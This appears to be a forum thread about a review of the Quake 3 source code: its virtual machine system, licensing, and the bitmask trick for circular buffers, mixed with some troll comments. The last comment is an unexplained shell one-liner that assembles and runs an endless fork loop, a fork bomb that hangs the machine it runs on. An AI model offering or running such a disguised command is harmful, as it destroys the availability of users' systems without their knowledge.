Quake 3 Source Code Review
An anonymous reader writes "id Software has a history of releasing the source code for their older games under the GPL. Coder Fabien Sanglard has been taking it upon himself to go through each of these releases, analyze the source code, and post a detailed write-up about it. He's now completed a review of the Quake 3 source code, diving into the details of idTech3. It's an interesting read — he says he was impressed in particular by the 'virtual machines system and the associated toolchain that altogether account for 30% of the code released. Under this perspective idTech3 is a mini operating system providing system calls to three processes.'"
Todays compotor scientists program with pure thought connected by JSON/XMLhttpREQUEST to a HTML5 document tree located in four-dimensional time on the APP STORE. This "code" shows that Id software is living in the PAST and won't be arouned for long, it is a DINOSORE and I am going to eat its stock markets for BRUNCH with BEAUTIFUL HOOKERS and jesuse!!!!!
UNITE with the Campaign for a Free Internet because today, our future begins with tomorrow!
But I can't help but revel in the growth and extension of public domain engines and assets by willing companies. As a dum-dum, I still see a lot of value in Q3 based projects. They really look good enough(for me), and I hear good things about the netcode. It isn't the end-all-be-all of engines, but it really is one of the first modern commercially sold engines available to the rest of us. If I may be so bold; gentlemen start your engines. I can't wait to see what you come up with.
Just so we're clear, Quake 3 and its source code are NOT in the public domain.
There's no -1 for "I don't get it."
You have just spouted utter nonsense, and have made a more valuable comment than most other people here.
From a quick reading, I don't get the point of this system.
Couldn't they just compile their C code to a dll normally and then load that dll and call vmMain?
I don't see what those "virtual machines" are bringing.
The third striking thing where he he discovered "circular buffers" but calls them "Array index cycling." Are programmers really that clueless that they don't realize MOD N can be optimized with AND N-1 ??
http://fabiensanglard.net/quakeSource/quakeSourceNetWork.php
arrayIndex = (oldArrayIndex+1) % 64 ;
arrayIndex = (oldArrayIndex+1) & UPDATE_MASK;
Which came from:
Network Model (Part 3 of 5)
The array cycle with the famous binary mask trick I mentioned in Quake World Network (Some elegant things).
I believe it spelled "aneurysm". They were discovered by Aneurysm Bevin, evil inventor of British death panels.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;